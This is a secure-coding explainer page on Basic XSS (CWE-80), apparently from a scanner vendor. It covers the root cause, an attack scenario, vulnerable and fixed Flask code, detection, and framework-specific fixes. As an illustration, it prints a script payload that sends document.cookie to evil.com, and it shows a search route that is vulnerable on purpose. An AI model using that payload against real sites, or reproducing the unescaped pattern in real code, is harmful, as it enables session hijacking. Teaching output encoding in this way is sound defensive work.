", "&" characters. See real vulnerable/secure code and the output-encoding fix."> ", "&" characters. See real vulnerable/secure code and the output-encoding fix."> ", "&" characters. See real vulnerable/secure code and the output-encoding fix.">
Security

What is Basic XSS (CWE-80)?

Basic XSS (CWE-80) lets attackers inject script via unescaped "<", ">", "&" characters. See real vulnerable/secure code and the output-encoding fix.

SP
Shreya Pillai July 27, 2026 6 min read Security
AI-friendly summary

What it is: Basic XSS (CWE-80) is a type of cross-site scripting vulnerability where an application fails to neutralize "<", ">", and "&" characters before writing user input into a web page.

Why it matters: Unescaped script-enabling characters let an attacker inject a real "<script>" tag that executes in the victim's browser session, with High likelihood of exploit per MITRE.

How to fix it: Use your templating engine's automatic contextual output encoding for all user-controlled data written into HTML.

TL;DR: Basic XSS lets an attacker inject executable script by leaving “<”, “>”, and “&” unescaped in HTML output; the fix is automatic contextual output encoding, never manual character filtering.

Field Value
CWE ID CWE-80
OWASP Category A05:2025 - Injection
CAPEC CAPEC-18, CAPEC-193, CAPEC-32, CAPEC-86
Typical Severity High
Affected Technologies Web applications, browsers
Detection Difficulty Easy
Last Updated 2026-07-27

What is Basic XSS?

Improper Neutralization of Script-Related HTML Tags in a Web Page (Basic XSS) (CWE-80) is a type of cross-site scripting vulnerability that occurs when a product receives input from an upstream component but does not neutralize special characters such as “<”, “>”, and “&” that could be interpreted as web-scripting elements. As defined by the MITRE Corporation under CWE-80, and classified by the OWASP Foundation under A05:2025 - Injection, this weakness has a High likelihood of exploit and is a direct child of the broader Cross-site Scripting weakness (CWE-79).

Quick Summary

This is the most fundamental form of XSS: the three characters that open, close, and combine HTML tags aren’t neutralized before user input lands in the page, so an attacker’s <script> tag is parsed exactly like one the developer wrote themselves. Because the injection point is often any reflected input at all, and the payload is trivial, MITRE rates this weakness High likelihood of exploit.

Jump to: Quick Summary · Basic XSS Overview · How Basic XSS Works · Business Impact of Basic XSS · Basic XSS Attack Scenario · How to Detect Basic XSS · How to Fix Basic XSS · Framework-Specific Fixes for Basic XSS · How to Ask AI to Check Your Code for Basic XSS · Basic XSS Best Practices Checklist · Basic XSS FAQ · Vulnerabilities Related to Basic XSS · References · Scan Your Own Site

Basic XSS Overview

What: User input containing “<”, “>”, or “&” is written into an HTML page without escaping, letting an attacker inject real markup and script.

Why it matters: A successful injection runs with the full trust and session context of the victim’s browser on the vulnerable site.

Where it occurs: Any feature that reflects or stores user input and later renders it into an HTML page — search results, comments, profile fields, error messages.

Who is affected: Applications that write user-controlled data into HTML manually, without a templating engine’s automatic escaping.

Who is NOT affected: Applications using a templating engine with automatic contextual output encoding enabled by default for all variable interpolation.

How Basic XSS Works

Root Cause

The application writes user-controlled input directly into an HTML page without escaping the core script-enabling characters (“<”, “>”, “&”).

Attack Flow

  1. The attacker identifies an input that is reflected back into a page (a search box, a comment field, a URL parameter).
  2. The attacker submits a value containing a <script> tag or other HTML markup.
  3. The application writes this value into the page’s HTML without escaping it.
  4. The victim’s browser parses the injected markup as real page content and executes the script.
  5. The script runs with full access to the page’s DOM and session context, as if it were legitimate site code.

Prerequisites to Exploit

  • User input is reflected or stored and later rendered into an HTML page.
  • The application does not escape “<”, “>”, or “&” before writing that input into the page.
  • A victim views the page containing the unescaped, attacker-controlled content.

Vulnerable Code

@app.route("/search")
def search():
    query = request.args.get("q", "")
    return f"<h1>Results for: {query}</h1>"

query is written directly into the HTML response with no escaping, so a value like <script>document.location='https://evil.com/steal?c='+document.cookie</script> executes in the victim’s browser exactly as written.

Secure Code

from markupsafe import escape

@app.route("/search")
def search():
    query = request.args.get("q", "")
    return f"<h1>Results for: {escape(query)}</h1>"

escape() converts <, >, and & into their HTML entity equivalents before the value reaches the page, so the browser renders the injected markup as inert text instead of parsing it as a tag.

Business Impact of Basic XSS

Confidentiality: Attackers may read application data reachable from the victim’s session, including data the victim can see but the attacker normally couldn’t.

Integrity: Attackers may perform actions as the victim (posting content, changing settings) via injected script running in their session.

Availability: Attackers may disrupt the page’s functionality for the victim through injected script that interferes with normal page behavior.

  • Session hijacking via cookie theft if the session cookie is not HttpOnly-protected
  • Defacement, phishing overlays, or credential-harvesting forms injected into a trusted page

Basic XSS Attack Scenario

  1. An attacker finds a search feature that reflects the search term back into the results page unescaped.
  2. They craft a URL with a <script> payload as the search parameter and send it to a victim via a phishing link.
  3. The victim clicks the link, and the injected script executes in their browser under the vulnerable site’s origin.
  4. The script exfiltrates the victim’s session cookie to an attacker-controlled server, allowing account takeover.

How to Detect Basic XSS

Manual Testing

  • Identify every input that is reflected or stored and later rendered into a page.
  • Submit a harmless script payload (e.g. <script>alert(1)</script>) into each one.
  • Confirm whether the payload executes (an alert box fires) rather than displaying as literal text.

Automated Scanners (SAST / DAST)

Static analysis can flag manual string concatenation into HTML templates without an escaping call, while dynamic testing with a real script payload confirms whether the live page actually executes injected markup.

PenScan Detection

PenScan’s scanner engines test reflected and stored input fields with real script-injection payloads and confirm whether unescaped content is rendered.

False Positive Guidance

If the application’s templating engine auto-escapes all variable output by default, a raw < in submitted input reaching the final HTML (visibly escaped as &lt;) is expected safe behavior, not a finding — confirm the rendered output actually parses as executable markup before treating it as real.

How to Fix Basic XSS

  • Use your templating engine’s automatic contextual output encoding for all user-controlled data written into HTML.
  • Specify an explicit, consistent output character encoding (e.g. UTF-8) to avoid encoding-mismatch bypass tricks.
  • Set the HttpOnly flag on session cookies to limit the impact of any successful injection.
  • Validate all parts of the HTTP request that might be reflected, not just fields obviously intended for display.

Framework-Specific Fixes for Basic XSS

  • Java: rely on JSP/Thymeleaf’s default auto-escaping for all output expressions; avoid <%= %> raw output of user data.
  • Node.js: use a templating engine with auto-escaping enabled (EJS’s <%= %>, Handlebars’ default ``) rather than raw string interpolation into HTML.
  • Python/Flask/Django: rely on Jinja2/Django template auto-escaping by default; use escape()/markupsafe explicitly only when building raw HTML strings, as shown above.
  • PHP: use htmlspecialchars() on every piece of user data written into HTML, or a templating engine (Twig) with auto-escaping enabled.

How to Ask AI to Check Your Code for Basic XSS

Copy-paste prompt

Review the following [language] code block for potential CWE-80 Basic XSS vulnerabilities and rewrite it using automatic contextual output encoding instead of raw string interpolation into HTML: [paste code here]

Basic XSS Best Practices Checklist

✅ Use automatic contextual output encoding for all user-controlled HTML output ✅ Specify a consistent output character encoding to avoid mismatch bypass tricks ✅ Set HttpOnly on session cookies to limit successful-injection impact ✅ Validate all parts of the HTTP request, not just fields expected to be displayed

Basic XSS FAQ

How does Basic XSS let an attacker run script in someone else’s browser?

If the application writes user input into an HTML page without escaping “<”, “>”, or “&”, an attacker can inject a real “

How is Basic XSS different from the general XSS weakness (CWE-79)?

CWE-79 is the broad parent covering any failure to neutralize input during web page generation; CWE-80 specifically names the core set of script-enabling characters (“<”, “>”, “&”) as the ones left unescaped.

How likely is Basic XSS to be exploited according to MITRE?

MITRE rates the likelihood of exploit for this weakness as High, since the injection points are common (any reflected input) and the payloads are simple and well-documented.

How do I detect this in my own application?

Submit a harmless script payload like “” into every input that gets reflected back in a page, and confirm whether it executes rather than displaying as literal text.

How do I fix Basic XSS correctly?

Use your templating engine’s automatic contextual output encoding for every piece of user-controlled data written into HTML, rather than manually filtering specific characters.

How does HttpOnly on session cookies help even if XSS isn’t fully fixed?

Setting the session cookie’s HttpOnly flag prevents JavaScript (including injected script) from reading it via document.cookie, which limits — though doesn’t eliminate — the damage a successful XSS injection can do.

How can PenScan help find Basic XSS?

PenScan tests reflected and stored input fields with real script-injection payloads to confirm whether unescaped HTML/script content is rendered.

CWE Name Relationship
CWE-79 Improper Neutralization of Input During Web Page Generation (‘Cross-site Scripting’) ChildOf

References

Scan Your Own Site

Manual code review catches what you know to look for. An automated scan catches what you didn’t. Scan your own website using PenScan to find Basic XSS and other risks before an attacker does.